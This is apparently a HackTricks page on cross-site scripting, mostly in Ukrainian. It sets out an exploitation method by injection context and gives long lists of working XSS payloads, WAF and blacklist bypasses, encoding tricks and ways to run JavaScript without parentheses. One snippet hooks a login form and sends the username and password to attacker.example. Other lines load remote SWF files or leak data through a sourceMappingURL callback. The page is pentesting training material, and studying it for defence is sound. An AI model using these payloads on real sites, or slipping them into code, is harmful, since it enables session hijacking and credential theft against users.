XSS (Cross Site Scripting)

Reading time: 54 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Методологія

  1. Перевірте, чи будь-яке значення, яке ви контролюєте (parameters, path, headers?, cookies?) відображається в HTML або використовується в коді JS.
  2. Знайдіть контекст, де воно відображається/використовується.
  3. Якщо заперечено (reflected)
  4. Перевірте, які символи ви можете використовувати, і залежно від цього підготуйте payload:
  5. У raw HTML:
  6. Чи можете ви створити нові HTML теги?
  7. Чи можете ви використовувати events або attributes, що підтримують javascript: протокол?
  8. Чи можете ви обходити захисти?
  9. Чи інтерпретується HTML контент якимось клієнтським JS рушієм (AngularJS, VueJS, Mavo...), який ви могли б використати у Client Side Template Injection.
  10. Якщо ви не можете створити HTML теги, що виконують JS код, чи можете ви зловживати Dangling Markup - HTML scriptless injection?
  11. Всередині HTML tag:
  12. Чи можете ви вийти в raw HTML контекст?
  13. Чи можете ви створити нові events/attributes для виконання JS коду?
  14. Чи атрибут, в якому ви «застрягли», підтримує виконання JS?
  15. Чи можете ви обходити захисти?
  16. Всередині JavaScript коду:
  17. Чи можете ви втекти з <script> тегу?
  18. Чи можете ви втекти зі строки і виконати інший JS код?
  19. Чи ваш ввід знаходиться в template literals ``?
  20. Чи можете ви обходити захисти?
  21. JS функція, яка виконується
  22. Ви можете вказати ім'я функції для виконання. Наприклад: ?callback=alert(1)
  23. Якщо використовується:
  24. Ви можете експлуатувати DOM XSS, зверніть увагу, як контролюється ваш ввід і чи ваш контрольований ввід використовується якимось sink.

Під час роботи зі складним XSS може бути корисно знати про:

Debugging Client Side JS

Reflected values

Щоб успішно експлуатувати XSS, перше, що потрібно знайти — це значення, яке ви контролюєте і яке відображається на веб-сторінці.

  • Intermediately reflected: Якщо ви бачите, що значення параметра або навіть шляху відображається на сторінці, ви можете експлуатувати Reflected XSS.
  • Stored and reflected: Якщо значення, яке ви контролюєте, зберігається на сервері і відображається щоразу при доступі до сторінки, ви можете експлуатувати Stored XSS.
  • Accessed via JS: Якщо значення, яке ви контролюєте, доступне через JS, ви можете експлуатувати DOM XSS.

Контексти

Коли ви намагаєтесь експлуатувати XSS, перше, що потрібно знати — де саме відображається ваш ввід. В залежності від контексту, ви зможете виконати довільний JS код різними способами.

Raw HTML

Якщо ваш ввід відображається в raw HTML сторінці, вам потрібно зловживати якимось HTML тегом, щоб виконати JS код: <img , <iframe , <svg , <script ... це лише деякі з багатьох можливих HTML тегів, які ви можете використати.
Також пам'ятайте про Client Side Template Injection.

Всередині атрибутів HTML тегів

Якщо ваш ввід відображається всередині значення атрибуту тега, ви можете спробувати:

  1. Втекти з атрибуту і з тега (тоді ви опинитеся в raw HTML) і створити новий HTML тег для зловживання: "><img [...]
  2. Якщо ви можете втекти з атрибуту, але не з тега (> кодується або видаляється), залежно від тега ви можете створити event, що виконає JS код: " autofocus onfocus=alert(1) x="
  3. Якщо ви не можете втекти з атрибуту (" кодується або видаляється), то в залежності від якого атрибута ваш ввід відображається і чи ви контролюєте все значення або лише його частину, ви зможете зловживати ним. Наприклад, якщо ви контролюєте event типу onclick= ви зможете виконати довільний код при кліку. Інший цікавий приклад — атрибут href, де ви можете використовувати протокол javascript: для виконання довільного коду: href="javascript:alert(1)"
  4. Якщо ваш ввід відображається всередині «невразливих» тегів, ви можете спробувати трюк з accesskey, щоб зловживати вразливістю (вам знадобиться певний рівень соціальної інженерії для експлуатації): " accesskey="x" onclick="alert(1)" x="

Дивний приклад виконання XSS в Angular, якщо ви контролюєте назву класу:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

У JavaScript-коді

У цьому випадку ваш ввод відображається між <script> [...] </script> тегами HTML-сторінки, всередині .js файлу або в атрибуті з протоколом javascript::

  • Якщо відображається між <script> [...] </script> тегами, навіть якщо ваш ввод знаходиться в яких-небудь лапках, ви можете спробувати інжектити </script> і вийти з цього контексту. Це працює тому, що браузер спочатку розпарсить HTML-теги, а потім контент, тому він не помітить, що ваш інжектований </script> тег знаходиться всередині HTML-коду.
  • Якщо відображається всередині JS string і попередній трюк не працює, вам потрібно вийти з рядка, виконати свій код і відновити JS-код (якщо буде помилка, він не виконається:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Якщо відображається всередині template literals, ви можете вбудовувати JS expressions використовуючи синтаксис ${ ... }: var greetings = `Hello, ${alert(1)}`
  • Unicode encode працює для запису валідного javascript коду:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting означає можливість оголосити функції, змінні або класи після їх використання, що дозволяє зловживати сценаріями, де XSS використовує необ'явлені змінні чи функції.
Перегляньте наступну сторінку для детальнішої інформації:

JS Hoisting

Javascript Function

Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.

Хороший спосіб дізнатися, чи те, що передається безпосередньо юзером, намагаються виконати — змінити значення параметра (наприклад на 'Vulnerable') і подивитись у консолі на помилки типу:

Якщо воно вразливе, можна буде спровокувати alert, просто відправивши значення: ?callback=alert(1). Однак дуже часто такі endpoints перевіряють вміст, дозволяючи лише літери, цифри, крапки та підкреслення ([\w\._]).

Навіть з цим обмеженням все ще можна виконати деякі дії. Це тому, що допустимі символи дозволяють доступитися до будь-якого елемента в DOM:

Деякі корисні функції для цього:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Ви також можете спробувати запустити Javascript функції безпосередньо: obj.sales.delOrders.

Однак зазвичай ендпоїнти, що виконують вказану функцію, мають мало цікавого в DOM; інші сторінки в тому ж same origin матимуть цікавіший DOM для виконання більшої кількості дій.

Тому, щоб експлуатувати цю вразливість в іншому DOM, було розроблено метод експлуатації Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Є JS code, який ненадійно використовує деякі дані, контрольовані атакуючим, наприклад location.href. Атакуючий може зловживати цим, щоб виконати довільний JS код.

DOM XSS

Universal XSS

Цей тип XSS може бути знайдений будь-де. Вони не залежать лише від клієнтської експлуатації вебдодатку, а від будь-якого контексту. Ці випадки виконання довільного JavaScript можуть навіть бути використані для отримання RCE, читання довільних файлів на клієнтах і серверах та іншого.
Декілька прикладів:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Коли ваш ввод відображається всередині HTML-сторінки або ви можете вийти з контексту і інжектити HTML-код у цьому контексті, перше, що потрібно зробити — перевірити, чи можна зловживати символом < для створення нових тегів: просто спробуйте відобразити цей символ і перевірити, чи він HTML-кодується, видаляється, чи відображається без змін. Лише в останньому випадку ви зможете скористатися цією вразливістю.
У таких випадках також майте на увазі Client Side Template Injection.
Примітка: HTML-коментар можна закрити, використавши-->** або --!>

У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати payloads, такі як:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Але якщо використовується black/whitelisting тегів/атрибутів, вам доведеться brute-force які теги ви можете створити.
Після того як ви з'ясуєте, які теги дозволені, вам потрібно буде brute-force атрибути/події всередині знайдених допустимих тегів, щоб побачити, як можна атакувати контекст.

Brute-force тегів/подій

Перейдіть на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet та натисніть Copy tags to clipboard. Потім відправте їх усі через Burp intruder і перевірте, чи якийсь тег не був визнаний шкідливим WAF. Після того як ви виявите, які теги можете використовувати, ви можете brute force всі події, використовуючи допустимі теги (на тій же сторінці натисніть Copy events to clipboard і виконайте ту ж процедуру, що й раніше).

Користувацькі теги

Якщо ви не знайшли жодного валідного HTML-тегу, можна спробувати створити власний тег і виконати JS-код за допомогою атрибута onfocus. У XSS-запиті потрібно завершити URL символом #, щоб сторінка фокусувалася на цьому об'єкті і виконала код:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Якщо використовується якийсь blacklist, ви можете спробувати bypass за допомогою деяких простих трюків:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Обхід обмеження довжини (small XSSs)

[!NOTE] > Більше tiny XSS для різних середовищ payload можна знайти тут та тут.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

The last one is using 2 Unicode characters which expands to 5: telsr
Більше таких символів можна знайти тут.
Щоб перевірити, на які символи вони розкладаються, див. тут.

Click XSS - Clickjacking

Якщо для експлуатації вразливості вам потрібно, щоб користувач натиснув на посилання або форму з попередньо заповненими даними, ви можете спробувати зловживати Clickjacking (якщо сторінка вразлива).

Impossible - Dangling Markup

Якщо ви просто вважаєте, що неможливо створити HTML-тег з атрибутом, який виконує JS-код, вам слід перевірити Danglig Markup , оскільки ви могли б експлуатувати вразливість без виконання JS коду.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Якщо ви перебуваєте всередині HTML-тегу, перше, що варто спробувати — вийти з тега і використати деякі техніки, згадані в попередньому розділі, щоб виконати JS-код.
Якщо ви не можете вийти з тега, можна створити нові атрибути всередині тега, щоб спробувати виконати JS-код, наприклад, використовуючи якийсь payload (зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибуту; вони не знадобляться, якщо ваш input відображається безпосередньо всередині тега):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Стильові події

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Всередині атрибуту

Навіть якщо ви не можете вийти з атрибуту (" кодується або видаляється), залежно від якого атрибуту відображається ваше значення — чи контролюєте ви все значення або лише частину — ви зможете ним зловживати. Наприклад, якщо ви контролюєте подію, таку як onclick=, ви зможете змусити її виконати довільний код при кліку.
Ще один цікавий приклад — атрибут href, де можна використати протокол javascript: для виконання довільного коду: href="javascript:alert(1)"

Обхід всередині події за допомогою HTML кодування/URL encode

Символи, закодовані в HTML, всередині значення атрибутів HTML-тегів декодуються під час виконання. Тому щось на кшталт наступного буде дійсним (payload виділено жирним): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Зауважте, що будь-який тип HTML-кодування є дійсним:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Зауважте, що URL encode також працюватиме:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass всередині event за допомогою Unicode encode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Спеціальні протоколи в атрибуті

Там ви можете використовувати протоколи javascript: або data: у деяких місцях, щоб виконувати довільний JS-код. Деякі вимагатимуть взаємодії з користувачем, інші — ні.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Місця, де ви можете інжектити ці протоколи

Загалом протокол javascript: може бути використаний у будь-якому тегу, який приймає атрибут href та в більшості тегів, які приймають атрибут src (але не <img>)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Інші трюки обфускації

У цьому випадку трюк з HTML encoding та Unicode encoding з попереднього розділу також діє, оскільки ви перебуваєте всередині атрибуту.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Крім того, є ще один гарний трюк для таких випадків: Навіть якщо ваш input всередині javascript:... URL encoded, він буде URL decoded перед виконанням. Тож, якщо вам потрібно escape зі string з використанням single quote і ви бачите, що воно URL encoded, пам'ятайте, що це не має значення, воно буде interpreted як single quote під час execution.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Зверніть увагу, що якщо ви спробуєте використовувати обидва URLencode + HTMLencode в будь-якому порядку для кодування payload, це не спрацює, але ви можете змішувати їх всередині payload.

Використання Hex and Octal encode з javascript:

Ви можете використовувати Hex і Octal encode всередині атрибута src елемента iframe (принаймні) щоб оголосити HTML tags to execute JS:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Якщо ви можете ввести будь-який URL у довільний тег <a href=, який містить атрибути target="_blank" and rel="opener", перегляньте наступну сторінку, щоб експлуатувати цю поведінку:

Reverse Tab Nabbing

on Event Handlers Bypass

По-перше, перевірте цю сторінку (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) для корисних "on" event handlers.
Якщо існує якийсь blacklist, який забороняє вам створювати ці обробники подій, ви можете спробувати наступні обхідні методи:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

З here тепер можна зловживати hidden inputs за допомогою:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

А в meta tags:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

З here: Ви можете виконати XSS payload inside a hidden attribute, за умови, що зможете переконати жертву натиснути комбінацію клавіш. У Firefox Windows/Linux комбінація клавіш — ALT+SHIFT+X, а на OS X — CTRL+ALT+X. Ви можете вказати іншу комбінацію клавіш, використавши іншу клавішу в access key attribute. Ось вектор:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload виглядатиме приблизно так: " accesskey="x" onclick="alert(1)" x="

Обходи чорних списків

У цьому розділі вже показано кілька трюків із використанням різного кодування. Поверніться, щоб дізнатися, де можна застосувати:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Прочитайте Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Прочитайте JavaScript bypass blacklist of the following section.

CSS-Gadgets

Якщо ви знайшли XSS у дуже маленькій частині сайту, що потребує якоїсь взаємодії (можливо маленьке посилання в підвалі з onmouseover), ви можете спробувати змінити простір, який займає цей елемент, щоб максимізувати ймовірність спрацьовування посилання.

Наприклад, ви можете додати стилі для елемента, наприклад: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Але якщо WAF фільтрує атрибут style, ви можете використати CSS Styling Gadgets, тож якщо ви знайдете, наприклад

.test {display:block; color: blue; width: 100%}

and

#someid {top: 0; font-family: Tahoma;}

Тепер ви можете змінити наше посилання й привести його до форми

<a href="" id=someid class=test onclick=alert() a="">

Цей трюк запозичено з https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Інжекція в JavaScript-код

У цьому випадку ваш input буде відображено всередині JS-коду у .js файлі або між <script>...</script> тегами, або між HTML-подіями, що можуть виконати JS-код, або між атрибутами, що приймають протокол javascript:.

Escaping <script> tag

Якщо ваш код вставлений всередині <script> [...] var input = 'reflected data' [...] </script>, ви можете легко вийти з контексту, закривши тег <script>:

javascript
</script><img src=1 onerror=alert(document.domain)>

Зауважте, що в цьому прикладі ми навіть не закрили одинарну лапку. Це тому, що аналіз HTML виконується спочатку браузером, що включає ідентифікацію елементів сторінки, зокрема блоків script. Парсинг JavaScript для розуміння та виконання вбудованих скриптів відбувається лише після цього.

Всередині JS коду

Якщо <> санітизуються, ви все ще можете екранізувати рядок у місці, де ваше введення розташовано, і виконати довільний JS. Важливо виправити синтаксис JS, оскільки, якщо будуть помилки, JS код не буде виконано:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Коли введення користувача потрапляє всередину взятого в лапки JavaScript-рядка (e.g., server-side echo into an inline script), ви можете завершити рядок, інжектнути код і відновити синтаксис, щоб парсер залишався валідним. Загальний скелет:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Приклад шаблону URL, коли вразливий параметр відображається в JS-рядку:

?param=test";<INJECTION>;a="

Це виконує attacker JS без необхідності торкатися HTML-контексту (pure JS-in-JS). Поєднуйте з blacklist bypasses нижче, коли фільтри блокують ключові слова.

Template literals ``

Щоб створювати strings, окрім одинарних і подвійних лапок, JS також підтримує backticks ``. Це відоме як template literals, оскільки вони дозволяють вбудовувати embedded JS expressions за допомогою синтаксису ${ ... }.\ Тому, якщо ви виявите, що ваш ввід reflected всередині JS-рядка, який використовує backticks, ви можете зловживати синтаксисом ${ ... }, щоб виконати arbitrary JS code:

Цим можна зловживати за допомогою:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Encoded code execution

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Deliverable payloads із eval(atob()) та нюансами області видимості

Щоб зробити URL-адреси коротшими та обійти наївні фільтри за ключовими словами, ви можете закодувати вашу реальну логіку в base64 і виконати її за допомогою eval(atob('...')). Якщо просте фільтрування за ключовими словами блокує ідентифікатори, такі як alert, eval або atob, використовуйте Unicode-escaped ідентифікатори, які компілюються ідентично у браузері, але обходять фільтри співпадіння рядків:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Важлива тонкість області видимості: const/let, оголошені всередині eval(), мають блочну область видимості і НЕ створюють глобальних змінних; вони не будуть доступні для наступних скриптів. Використовуйте динамічно інжектований елемент <script> для визначення глобальних hooks, які не можна перевизначити, коли це потрібно (наприклад, щоб перехопити обробник форми):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Посилання: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode Encode JS execution

javascript
alert(1)
alert(1)
alert(1)

Техніки обходу чорних списків у JavaScript

Рядки

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Спеціальні послідовності екранування

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Підстановки пробілів у JS-коді

javascript
<TAB>
/**/

JavaScript comments (з JavaScript Comments трюка)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript нові рядки (з JavaScript new line трюку)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

Пробільні символи в JavaScript

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript всередині коментаря

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript без дужок

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Довільний виклик функції (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
